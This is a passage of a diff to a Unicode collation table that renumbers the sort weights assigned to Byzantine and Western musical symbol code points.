+1D073 ; [*1049.0020.0002] # BYZANTINE MUSICAL SYMBOL ARGOSYNTHETON
+1D074 ; [*104A.0020.0002] # BYZANTINE MUSICAL SYMBOL ETERON ARGOSYNTHETON
+1D075 ; [*104B.0020.0002] # BYZANTINE MUSICAL SYMBOL OYRANISMA NEO
+1D076 ; [*104C.0020.0002] # BYZANTINE MUSICAL SYMBOL THEMATISMOS ESO
+1D077 ; [*104D.0020.0002] # BYZANTINE MUSICAL SYMBOL THEMATISMOS EXO
+1D078 ; [*104E.0020.0002] # BYZANTINE MUSICAL SYMBOL THEMA APLOUN
+1D079 ; [*104F.0020.0002] # BYZANTINE MUSICAL SYMBOL THES KAI APOTHES
+1D07A ; [*1050.0020.0002] # BYZANTINE MUSICAL SYMBOL KATAVASMA
+1D07B ; [*1051.0020.0002] # BYZANTINE MUSICAL SYMBOL ENDOFONON
+1D07C ; [*1052.0020.0002] # BYZANTINE MUSICAL SYMBOL YFEN KATO
+1D07D ; [*1053.0020.0002] # BYZANTINE MUSICAL SYMBOL YFEN ANO
+1D07E ; [*1054.0020.0002] # BYZANTINE MUSICAL SYMBOL STAVROS
+1D07F ; [*1055.0020.0002] # BYZANTINE MUSICAL SYMBOL KLASMA ANO
+1D080 ; [*1056.0020.0002] # BYZANTINE MUSICAL SYMBOL DIPLI ARCHAION
+1D081 ; [*1057.0020.0002] # BYZANTINE MUSICAL SYMBOL KRATIMA ARCHAION
+1D082 ; [*1058.0020.0002] # BYZANTINE MUSICAL SYMBOL KRATIMA ALLO
+1D083 ; [*1059.0020.0002] # BYZANTINE MUSICAL SYMBOL KRATIMA NEO
+1D084 ; [*105A.0020.0002] # BYZANTINE MUSICAL SYMBOL APODERMA NEO
+1D085 ; [*105B.0020.0002] # BYZANTINE MUSICAL SYMBOL APLI
+1D086 ; [*105C.0020.0002] # BYZANTINE MUSICAL SYMBOL DIPLI
+1D087 ; [*105D.0020.0002] # BYZANTINE MUSICAL SYMBOL TRIPLI
+1D088 ; [*105E.0020.0002] # BYZANTINE MUSICAL SYMBOL TETRAPLI
+1D089 ; [*105F.0020.0002] # BYZANTINE MUSICAL SYMBOL KORONIS
+1D08A ; [*1060.0020.0002] # BYZANTINE MUSICAL SYMBOL LEIMMA ENOS CHRONOU
+1D08B ; [*1061.0020.0002] # BYZANTINE MUSICAL SYMBOL LEIMMA DYO CHRONON
+1D08C ; [*1062.0020.0002] # BYZANTINE MUSICAL SYMBOL LEIMMA TRION CHRONON
+1D08D ; [*1063.0020.0002] # BYZANTINE MUSICAL SYMBOL LEIMMA TESSARON CHRONON
+1D08E ; [*1064.0020.0002] # BYZANTINE MUSICAL SYMBOL LEIMMA IMISEOS CHRONOU
+1D08F ; [*1065.0020.0002] # BYZANTINE MUSICAL SYMBOL GORGON NEO ANO
+1D090 ; [*1066.0020.0002] # BYZANTINE MUSICAL SYMBOL GORGON PARESTIGMENON ARISTERA
+1D091 ; [*1067.0020.0002] # BYZANTINE MUSICAL SYMBOL GORGON PARESTIGMENON DEXIA
+1D092 ; [*1068.0020.0002] # BYZANTINE MUSICAL SYMBOL DIGORGON
+1D093 ; [*1069.0020.0002] # BYZANTINE MUSICAL SYMBOL DIGORGON PARESTIGMENON ARISTERA KATO
+1D094 ; [*106A.0020.0002] # BYZANTINE MUSICAL SYMBOL DIGORGON PARESTIGMENON ARISTERA ANO
+1D095 ; [*106B.0020.0002] # BYZANTINE MUSICAL SYMBOL DIGORGON PARESTIGMENON DEXIA
+1D096 ; [*106C.0020.0002] # BYZANTINE MUSICAL SYMBOL TRIGORGON
+1D097 ; [*106D.0020.0002] # BYZANTINE MUSICAL SYMBOL ARGON
+1D098 ; [*106E.0020.0002] # BYZANTINE MUSICAL SYMBOL IMIDIARGON
+1D099 ; [*106F.0020.0002] # BYZANTINE MUSICAL SYMBOL DIARGON
+1D09A ; [*1070.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI POLI ARGI
+1D09B ; [*1071.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI ARGOTERI
+1D09C ; [*1072.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI ARGI
+1D09D ; [*1073.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI METRIA
+1D09E ; [*1074.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI MESI
+1D09F ; [*1075.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI GORGI
+1D0A0 ; [*1076.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI GORGOTERI
+1D0A1 ; [*1077.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI POLI GORGI
+1D0A2 ; [*1078.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA PROTOS ICHOS
+1D0A3 ; [*1079.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA ALLI PROTOS ICHOS
+1D0A4 ; [*107A.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA DEYTEROS ICHOS
+1D0A5 ; [*107B.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA ALLI DEYTEROS ICHOS
+1D0A6 ; [*107C.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA TRITOS ICHOS
+1D0A7 ; [*107D.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA TRIFONIAS
+1D0A8 ; [*107E.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA TETARTOS ICHOS
+1D0A9 ; [*107F.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA TETARTOS LEGETOS ICHOS
+1D0AA ; [*1080.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA LEGETOS ICHOS
+1D0AB ; [*1081.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA PLAGIOS ICHOS
+1D0AC ; [*1082.0020.0002] # BYZANTINE MUSICAL SYMBOL ISAKIA TELOUS ICHIMATOS
+1D0AD ; [*1083.0020.0002] # BYZANTINE MUSICAL SYMBOL APOSTROFOI TELOUS ICHIMATOS
+1D0AE ; [*1084.0020.0002] # BYZANTINE MUSICAL SYMBOL FANEROSIS TETRAFONIAS
+1D0AF ; [*1085.0020.0002] # BYZANTINE MUSICAL SYMBOL FANEROSIS MONOFONIAS
+1D0B0 ; [*1086.0020.0002] # BYZANTINE MUSICAL SYMBOL FANEROSIS DIFONIAS
+1D0B1 ; [*1087.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA VARYS ICHOS
+1D0B2 ; [*1088.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA PROTOVARYS ICHOS
+1D0B3 ; [*1089.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA PLAGIOS TETARTOS ICHOS
+1D0B4 ; [*108A.0020.0002] # BYZANTINE MUSICAL SYMBOL GORTHMIKON N APLOUN
+1D0B5 ; [*108B.0020.0002] # BYZANTINE MUSICAL SYMBOL GORTHMIKON N DIPLOUN
+1D0B6 ; [*108C.0020.0002] # BYZANTINE MUSICAL SYMBOL ENARXIS KAI FTHORA VOU
+1D0B7 ; [*108D.0020.0002] # BYZANTINE MUSICAL SYMBOL IMIFONON
+1D0B8 ; [*108E.0020.0002] # BYZANTINE MUSICAL SYMBOL IMIFTHORON
+1D0B9 ; [*108F.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA ARCHAION DEYTEROU ICHOU
+1D0BA ; [*1090.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA DIATONIKI PA
+1D0BB ; [*1091.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA DIATONIKI NANA
+1D0BC ; [*1092.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA NAOS ICHOS
+1D0BD ; [*1093.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA DIATONIKI DI
+1D0BE ; [*1094.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA SKLIRON DIATONON DI
+1D0BF ; [*1095.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA DIATONIKI KE
+1D0C0 ; [*1096.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA DIATONIKI ZO
+1D0C1 ; [*1097.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA DIATONIKI NI KATO
+1D0C2 ; [*1098.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA DIATONIKI NI ANO
+1D0C3 ; [*1099.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA MALAKON CHROMA DIFONIAS
+1D0C4 ; [*109A.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA MALAKON CHROMA MONOFONIAS
+1D0C5 ; [*109B.0020.0002] # BYZANTINE MUSICAL SYMBOL FHTORA SKLIRON CHROMA VASIS
+1D0C6 ; [*109C.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA SKLIRON CHROMA SYNAFI
+1D0C7 ; [*109D.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA NENANO
+1D0C8 ; [*109E.0020.0002] # BYZANTINE MUSICAL SYMBOL CHROA ZYGOS
+1D0C9 ; [*109F.0020.0002] # BYZANTINE MUSICAL SYMBOL CHROA KLITON
+1D0CA ; [*10A0.0020.0002] # BYZANTINE MUSICAL SYMBOL CHROA SPATHI
+1D0CB ; [*10A1.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA I YFESIS TETARTIMORION
+1D0CC ; [*10A2.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA ENARMONIOS ANTIFONIA
+1D0CD ; [*10A3.0020.0002] # BYZANTINE MUSICAL SYMBOL YFESIS TRITIMORION
+1D0CE ; [*10A4.0020.0002] # BYZANTINE MUSICAL SYMBOL DIESIS TRITIMORION
+1D0CF ; [*10A5.0020.0002] # BYZANTINE MUSICAL SYMBOL DIESIS TETARTIMORION
+1D0D0 ; [*10A6.0020.0002] # BYZANTINE MUSICAL SYMBOL DIESIS APLI DYO DODEKATA
+1D0D1 ; [*10A7.0020.0002] # BYZANTINE MUSICAL SYMBOL DIESIS MONOGRAMMOS TESSERA DODEKATA
+1D0D2 ; [*10A8.0020.0002] # BYZANTINE MUSICAL SYMBOL DIESIS DIGRAMMOS EX DODEKATA
+1D0D3 ; [*10A9.0020.0002] # BYZANTINE MUSICAL SYMBOL DIESIS TRIGRAMMOS OKTO DODEKATA
+1D0D4 ; [*10AA.0020.0002] # BYZANTINE MUSICAL SYMBOL YFESIS APLI DYO DODEKATA
+1D0D5 ; [*10AB.0020.0002] # BYZANTINE MUSICAL SYMBOL YFESIS MONOGRAMMOS TESSERA DODEKATA
+1D0D6 ; [*10AC.0020.0002] # BYZANTINE MUSICAL SYMBOL YFESIS DIGRAMMOS EX DODEKATA
+1D0D7 ; [*10AD.0020.0002] # BYZANTINE MUSICAL SYMBOL YFESIS TRIGRAMMOS OKTO DODEKATA
+1D0D8 ; [*10AE.0020.0002] # BYZANTINE MUSICAL SYMBOL GENIKI DIESIS
+1D0D9 ; [*10AF.0020.0002] # BYZANTINE MUSICAL SYMBOL GENIKI YFESIS
+1D0DA ; [*10B0.0020.0002] # BYZANTINE MUSICAL SYMBOL DIASTOLI APLI MIKRI
+1D0DB ; [*10B1.0020.0002] # BYZANTINE MUSICAL SYMBOL DIASTOLI APLI MEGALI
+1D0DC ; [*10B2.0020.0002] # BYZANTINE MUSICAL SYMBOL DIASTOLI DIPLI
+1D0DD ; [*10B3.0020.0002] # BYZANTINE MUSICAL SYMBOL DIASTOLI THESEOS
+1D0DE ; [*10B4.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS THESEOS
+1D0DF ; [*10B5.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS THESEOS DISIMOU
+1D0E0 ; [*10B6.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS THESEOS TRISIMOU
+1D0E1 ; [*10B7.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS THESEOS TETRASIMOU
+1D0E2 ; [*10B8.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS ARSEOS
+1D0E3 ; [*10B9.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS ARSEOS DISIMOU
+1D0E4 ; [*10BA.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS ARSEOS TRISIMOU
+1D0E5 ; [*10BB.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS ARSEOS TETRASIMOU
+1D0E6 ; [*10BC.0020.0002] # BYZANTINE MUSICAL SYMBOL DIGRAMMA GG
+1D0E7 ; [*10BD.0020.0002] # BYZANTINE MUSICAL SYMBOL DIFTOGGOS OU
+1D0E8 ; [*10BE.0020.0002] # BYZANTINE MUSICAL SYMBOL STIGMA
+1D0E9 ; [*10BF.0020.0002] # BYZANTINE MUSICAL SYMBOL ARKTIKO PA
+1D0EA ; [*10C0.0020.0002] # BYZANTINE MUSICAL SYMBOL ARKTIKO VOU
+1D0EB ; [*10C1.0020.0002] # BYZANTINE MUSICAL SYMBOL ARKTIKO GA
+1D0EC ; [*10C2.0020.0002] # BYZANTINE MUSICAL SYMBOL ARKTIKO DI
+1D0ED ; [*10C3.0020.0002] # BYZANTINE MUSICAL SYMBOL ARKTIKO KE
+1D0EE ; [*10C4.0020.0002] # BYZANTINE MUSICAL SYMBOL ARKTIKO ZO
+1D0EF ; [*10C5.0020.0002] # BYZANTINE MUSICAL SYMBOL ARKTIKO NI
+1D0F0 ; [*10C6.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMATA NEO MESO
+1D0F1 ; [*10C7.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMA NEO MESO
+1D0F2 ; [*10C8.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMATA NEO KATO
+1D0F3 ; [*10C9.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMA NEO KATO
+1D0F4 ; [*10CA.0020.0002] # BYZANTINE MUSICAL SYMBOL KLASMA KATO
+1D0F5 ; [*10CB.0020.0002] # BYZANTINE MUSICAL SYMBOL GORGON NEO KATO
+1D100 ; [*10CC.0020.0002] # MUSICAL SYMBOL SINGLE BARLINE
+1D101 ; [*10CD.0020.0002] # MUSICAL SYMBOL DOUBLE BARLINE
+1D102 ; [*10CE.0020.0002] # MUSICAL SYMBOL FINAL BARLINE
+1D103 ; [*10CF.0020.0002] # MUSICAL SYMBOL REVERSE FINAL BARLINE
+1D104 ; [*10D0.0020.0002] # MUSICAL SYMBOL DASHED BARLINE
+1D105 ; [*10D1.0020.0002] # MUSICAL SYMBOL SHORT BARLINE
+1D106 ; [*10D2.0020.0002] # MUSICAL SYMBOL LEFT REPEAT SIGN
+1D107 ; [*10D3.0020.0002] # MUSICAL SYMBOL RIGHT REPEAT SIGN
+1D108 ; [*10D4.0020.0002] # MUSICAL SYMBOL REPEAT DOTS
+1D109 ; [*10D5.0020.0002] # MUSICAL SYMBOL DAL SEGNO
+1D10A ; [*10D6.0020.0002] # MUSICAL SYMBOL DA CAPO
+1D10B ; [*10D7.0020.0002] # MUSICAL SYMBOL SEGNO
+1D10C ; [*10D8.0020.0002] # MUSICAL SYMBOL CODA
+1D10D ; [*10D9.0020.0002] # MUSICAL SYMBOL REPEATED FIGURE-1
+1D10E ; [*10DA.0020.0002] # MUSICAL SYMBOL REPEATED FIGURE-2
+1D10F ; [*10DB.0020.0002] # MUSICAL SYMBOL REPEATED FIGURE-3
+1D110 ; [*10DC.0020.0002] # MUSICAL SYMBOL FERMATA
+1D111 ; [*10DD.0020.0002] # MUSICAL SYMBOL FERMATA BELOW
+1D112 ; [*10DE.0020.0002] # MUSICAL SYMBOL BREATH MARK
+1D113 ; [*10DF.0020.0002] # MUSICAL SYMBOL CAESURA
+1D114 ; [*10E0.0020.0002] # MUSICAL SYMBOL BRACE
+1D115 ; [*10E1.0020.0002] # MUSICAL SYMBOL BRACKET
+1D116 ; [*10E2.0020.0002] # MUSICAL SYMBOL ONE-LINE STAFF
+1D117 ; [*10E3.0020.0002] # MUSICAL SYMBOL TWO-LINE STAFF
+1D118 ; [*10E4.0020.0002] # MUSICAL SYMBOL THREE-LINE STAFF
+1D119 ; [*10E5.0020.0002] # MUSICAL SYMBOL FOUR-LINE STAFF
+1D11A ; [*10E6.0020.0002] # MUSICAL SYMBOL FIVE-LINE STAFF
+1D11B ; [*10E7.0020.0002] # MUSICAL SYMBOL SIX-LINE STAFF
+1D11C ; [*10E8.0020.0002] # MUSICAL SYMBOL SIX-STRING FRETBOARD
+1D11D ; [*10E9.0020.0002] # MUSICAL SYMBOL FOUR-STRING FRETBOARD
+1D11E ; [*10EA.0020.0002] # MUSICAL SYMBOL G CLEF
+1D11F ; [*10EB.0020.0002] # MUSICAL SYMBOL G CLEF OTTAVA ALTA
+1D120 ; [*10EC.0020.0002] # MUSICAL SYMBOL G CLEF OTTAVA BASSA
+1D121 ; [*10ED.0020.0002] # MUSICAL SYMBOL C CLEF
+1D122 ; [*10EE.0020.0002] # MUSICAL SYMBOL F CLEF
+1D123 ; [*10EF.0020.0002] # MUSICAL SYMBOL F CLEF OTTAVA ALTA
+1D124 ; [*10F0.0020.0002] # MUSICAL SYMBOL F CLEF OTTAVA BASSA
+1D125 ; [*10F1.0020.0002] # MUSICAL SYMBOL DRUM CLEF-1
+1D126 ; [*10F2.0020.0002] # MUSICAL SYMBOL DRUM CLEF-2
+1D129 ; [*1106.0020.0002] # MUSICAL SYMBOL MULTIPLE MEASURE REST
+1D12A ; [*10F6.0020.0002] # MUSICAL SYMBOL DOUBLE SHARP
+1D12B ; [*10F7.0020.0002] # MUSICAL SYMBOL DOUBLE FLAT
+1D12C ; [*10F8.0020.0002] # MUSICAL SYMBOL FLAT UP
+1D12D ; [*10F9.0020.0002] # MUSICAL SYMBOL FLAT DOWN
+1D12E ; [*10FA.0020.0002] # MUSICAL SYMBOL NATURAL UP
+1D12F ; [*10FB.0020.0002] # MUSICAL SYMBOL NATURAL DOWN
+1D130 ; [*10FC.0020.0002] # MUSICAL SYMBOL SHARP UP
+1D131 ; [*10FD.0020.0002] # MUSICAL SYMBOL SHARP DOWN
+1D132 ; [*10FE.0020.0002] # MUSICAL SYMBOL QUARTER TONE SHARP
+1D133 ; [*10FF.0020.0002] # MUSICAL SYMBOL QUARTER TONE FLAT
+1D134 ; [*1100.0020.0002] # MUSICAL SYMBOL COMMON TIME
+1D135 ; [*1101.0020.0002] # MUSICAL SYMBOL CUT TIME
+1D136 ; [*1102.0020.0002] # MUSICAL SYMBOL OTTAVA ALTA
+1D137 ; [*1103.0020.0002] # MUSICAL SYMBOL OTTAVA BASSA
+1D138 ; [*1104.0020.0002] # MUSICAL SYMBOL QUINDICESIMA ALTA
+1D139 ; [*1105.0020.0002] # MUSICAL SYMBOL QUINDICESIMA BASSA
+1D13A ; [*1107.0020.0002] # MUSICAL SYMBOL MULTI REST
+1D13B ; [*1108.0020.0002] # MUSICAL SYMBOL WHOLE REST
+1D13C ; [*1109.0020.0002] # MUSICAL SYMBOL HALF REST
+1D13D ; [*110A.0020.0002] # MUSICAL SYMBOL QUARTER REST
+1D13E ; [*110B.0020.0002] # MUSICAL SYMBOL EIGHTH REST
+1D13F ; [*110C.0020.0002] # MUSICAL SYMBOL SIXTEENTH REST
+1D140 ; [*110D.0020.0002] # MUSICAL SYMBOL THIRTY-SECOND REST
+1D141 ; [*110E.0020.0002] # MUSICAL SYMBOL SIXTY-FOURTH REST
+1D142 ; [*110F.0020.0002] # MUSICAL SYMBOL ONE HUNDRED TWENTY-EIGHTH REST
+1D143 ; [*1110.0020.0002] # MUSICAL SYMBOL X NOTEHEAD
+1D144 ; [*1111.0020.0002] # MUSICAL SYMBOL PLUS NOTEHEAD
+1D145 ; [*1112.0020.0002] # MUSICAL SYMBOL CIRCLE X NOTEHEAD
+1D146 ; [*1113.0020.0002] # MUSICAL SYMBOL SQUARE NOTEHEAD WHITE
+1D147 ; [*1114.0020.0002] # MUSICAL SYMBOL SQUARE NOTEHEAD BLACK
+1D148 ; [*1115.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD UP WHITE
+1D149 ; [*1116.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD UP BLACK
+1D14A ; [*1117.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD LEFT WHITE
+1D14B ; [*1118.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD LEFT BLACK
+1D14C ; [*1119.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD RIGHT WHITE
+1D14D ; [*111A.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD RIGHT BLACK
+1D14E ; [*111B.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD DOWN WHITE
+1D14F ; [*111C.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD DOWN BLACK
+1D150 ; [*111D.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD UP RIGHT WHITE
+1D151 ; [*111E.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD UP RIGHT BLACK
+1D152 ; [*111F.0020.0002] # MUSICAL SYMBOL MOON NOTEHEAD WHITE
+1D153 ; [*1120.0020.0002] # MUSICAL SYMBOL MOON NOTEHEAD BLACK
+1D154 ; [*1121.0020.0002] # MUSICAL SYMBOL TRIANGLE-ROUND NOTEHEAD DOWN WHITE
+1D155 ; [*1122.0020.0002] # MUSICAL SYMBOL TRIANGLE-ROUND NOTEHEAD DOWN BLACK
+1D156 ; [*1123.0020.0002] # MUSICAL SYMBOL PARENTHESIS NOTEHEAD
+1D157 ; [*1124.0020.0002] # MUSICAL SYMBOL VOID NOTEHEAD
+1D158 ; [*1125.0020.0002] # MUSICAL SYMBOL NOTEHEAD BLACK
+1D159 ; [*1126.0020.0002] # MUSICAL SYMBOL NULL NOTEHEAD
+1D15A ; [*1127.0020.0002] # MUSICAL SYMBOL CLUSTER NOTEHEAD WHITE
+1D15B ; [*1128.0020.0002] # MUSICAL SYMBOL CLUSTER NOTEHEAD BLACK
+1D15C ; [*1129.0020.0002] # MUSICAL SYMBOL BREVE
+1D15D ; [*112A.0020.0002] # MUSICAL SYMBOL WHOLE NOTE
+1D15E ; [*1124.0020.0002][.0000.0000.0000] # MUSICAL SYMBOL HALF NOTE
+1D15F ; [*1125.0020.0002][.0000.0000.0000] # MUSICAL SYMBOL QUARTER NOTE
+1D160 ; [*1125.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL EIGHTH NOTE
+1D161 ; [*1125.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL SIXTEENTH NOTE
+1D162 ; [*1125.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL THIRTY-SECOND NOTE
+1D163 ; [*1125.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL SIXTY-FOURTH NOTE
+1D164 ; [*1125.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL ONE HUNDRED TWENTY-EIGHTH NOTE
 1D165 ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING STEM
 1D166 ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING SPRECHGESANG STEM
 1D167 ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING TREMOLO-1
 1D168 ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING TREMOLO-2
 1D169 ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING TREMOLO-3
-1D16A ; [*1105.0020.0002] # MUSICAL SYMBOL FINGERED TREMOLO-1
-1D16B ; [*1106.0020.0002] # MUSICAL SYMBOL FINGERED TREMOLO-2
-1D16C ; [*1107.0020.0002] # MUSICAL SYMBOL FINGERED TREMOLO-3
+1D16A ; [*112B.0020.0002] # MUSICAL SYMBOL FINGERED TREMOLO-1
+1D16B ; [*112C.0020.0002] # MUSICAL SYMBOL FINGERED TREMOLO-2
+1D16C ; [*112D.0020.0002] # MUSICAL SYMBOL FINGERED TREMOLO-3
 1D16D ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING AUGMENTATION DOT
 1D16E ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING FLAG-1
 1D16F ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING FLAG-2
@@ -5036,8 +5108,8 @@
 1D180 ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING MARCATO-STACCATO
 1D181 ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING ACCENT-STACCATO
 1D182 ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING LOURE
-1D183 ; [*1108.0020.0002] # MUSICAL SYMBOL ARPEGGIATO UP
-1D184 ; [*1109.0020.0002] # MUSICAL SYMBOL ARPEGGIATO DOWN
+1D183 ; [*112E.0020.0002] # MUSICAL SYMBOL ARPEGGIATO UP
+1D184 ; [*112F.0020.0002] # MUSICAL SYMBOL ARPEGGIATO DOWN
 1D185 ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING DOIT
 1D186 ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING RIP
 1D187 ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING FLIP
@@ -5045,787 +5117,787 @@
 1D189 ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING BEND
 1D18A ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING DOUBLE TONGUE
 1D18B ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING TRIPLE TONGUE
-1D18C ; [*110A.0020.0002] # MUSICAL SYMBOL RINFORZANDO
-1D18D ; [*110B.0020.0002] # MUSICAL SYMBOL SUBITO
-1D18E ; [*110C.0020.0002] # MUSICAL SYMBOL Z
-1D18F ; [*110D.0020.0002] # MUSICAL SYMBOL PIANO
-1D190 ; [*110E.0020.0002] # MUSICAL SYMBOL MEZZO
-1D191 ; [*110F.0020.0002] # MUSICAL SYMBOL FORTE
-1D192 ; [*1110.0020.0002] # MUSICAL SYMBOL CRESCENDO
-1D193 ; [*1111.0020.0002] # MUSICAL SYMBOL DECRESCENDO
-1D194 ; [*1112.0020.0002] # MUSICAL SYMBOL GRACE NOTE SLASH
-1D195 ; [*1113.0020.0002] # MUSICAL SYMBOL GRACE NOTE NO SLASH
-1D196 ; [*1114.0020.0002] # MUSICAL SYMBOL TR
-1D197 ; [*1115.0020.0002] # MUSICAL SYMBOL TURN
-1D198 ; [*1116.0020.0002] # MUSICAL SYMBOL INVERTED TURN
-1D199 ; [*1117.0020.0002] # MUSICAL SYMBOL TURN SLASH
-1D19A ; [*1118.0020.0002] # MUSICAL SYMBOL TURN UP
-1D19B ; [*1119.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-1
-1D19C ; [*111A.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-2
-1D19D ; [*111B.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-3
-1D19E ; [*111C.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-4
-1D19F ; [*111D.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-5
-1D1A0 ; [*111E.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-6
-1D1A1 ; [*111F.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-7
-1D1A2 ; [*1120.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-8
-1D1A3 ; [*1121.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-9
-1D1A4 ; [*1122.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-10
-1D1A5 ; [*1123.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-11
-1D1A6 ; [*1124.0020.0002] # MUSICAL SYMBOL HAUPTSTIMME
-1D1A7 ; [*1125.0020.0002] # MUSICAL SYMBOL NEBENSTIMME
-1D1A8 ; [*1126.0020.0002] # MUSICAL SYMBOL END OF STIMME
-1D1A9 ; [*1127.0020.0002] # MUSICAL SYMBOL DEGREE SLASH
+1D18C ; [*1130.0020.0002] # MUSICAL SYMBOL RINFORZANDO
+1D18D ; [*1131.0020.0002] # MUSICAL SYMBOL SUBITO
+1D18E ; [*1132.0020.0002] # MUSICAL SYMBOL Z
+1D18F ; [*1133.0020.0002] # MUSICAL SYMBOL PIANO
+1D190 ; [*1134.0020.0002] # MUSICAL SYMBOL MEZZO
+1D191 ; [*1135.0020.0002] # MUSICAL SYMBOL FORTE
+1D192 ; [*1136.0020.0002] # MUSICAL SYMBOL CRESCENDO
+1D193 ; [*1137.0020.0002] # MUSICAL SYMBOL DECRESCENDO
+1D194 ; [*1138.0020.0002] # MUSICAL SYMBOL GRACE NOTE SLASH
+1D195 ; [*1139.0020.0002] # MUSICAL SYMBOL GRACE NOTE NO SLASH
+1D196 ; [*113A.0020.0002] # MUSICAL SYMBOL TR
+1D197 ; [*113B.0020.0002] # MUSICAL SYMBOL TURN
+1D198 ; [*113C.0020.0002] # MUSICAL SYMBOL INVERTED TURN
+1D199 ; [*113D.0020.0002] # MUSICAL SYMBOL TURN SLASH
+1D19A ; [*113E.0020.0002] # MUSICAL SYMBOL TURN UP
+1D19B ; [*113F.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-1
+1D19C ; [*1140.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-2
+1D19D ; [*1141.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-3
+1D19E ; [*1142.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-4
+1D19F ; [*1143.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-5
+1D1A0 ; [*1144.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-6
